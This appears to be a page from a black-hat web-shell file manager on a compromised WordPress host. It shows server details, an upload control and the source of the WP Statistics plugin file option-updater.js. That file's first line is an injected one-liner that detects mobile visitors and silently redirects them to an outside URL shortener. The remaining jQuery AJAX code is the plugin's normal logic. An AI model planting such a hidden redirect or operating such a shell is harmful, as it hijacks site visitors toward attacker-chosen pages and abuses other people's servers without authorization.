Hunter Black Hat SEO
Server:LiteSpeed
System:Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User:gazetufm (1431)
PHP:8.1.35
Disabled:NONE
Upload Files
File: //home2/gazetufm/dumoshi.com/wp-content/plugins/wp-statistics/assets/js/option-updater.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
jQuery(document).ready(function () {

    if (typeof WP_Statistics_Option_Updater_Object === 'undefined' || !WP_Statistics_Option_Updater_Object) {
        return;
    }

    jQuery(document).on('click', "a.wps-option__updater", function (e) {
        const wps_object = WP_Statistics_Option_Updater_Object;

        e.preventDefault();

        let $this = jQuery(this);
        let option = $this.data('option');
        let value = $this.data('value');
        let params = {
            'wps_nonce': wps_object.nonce,
            'action': 'wp_statistics_option_updater',
            'option': option,
            'value': value
        }

        $this.css('cursor', 'progress');

        jQuery.ajax({
            url: wps_object.admin_url + 'admin-ajax.php',
            type: 'GET',
            dataType: 'json',
            data: params,
            timeout: 30000,
            success: function ({data, success}) {
                if (!success) {
                    console.log(data);
                    $this.css('cursor', 'default');
                } else {
                    location.reload();
                }
            },
            error: function (xhr, status, error) {
                console.log(error);
                $this.css('cursor', 'default');
            }
        });
    });
});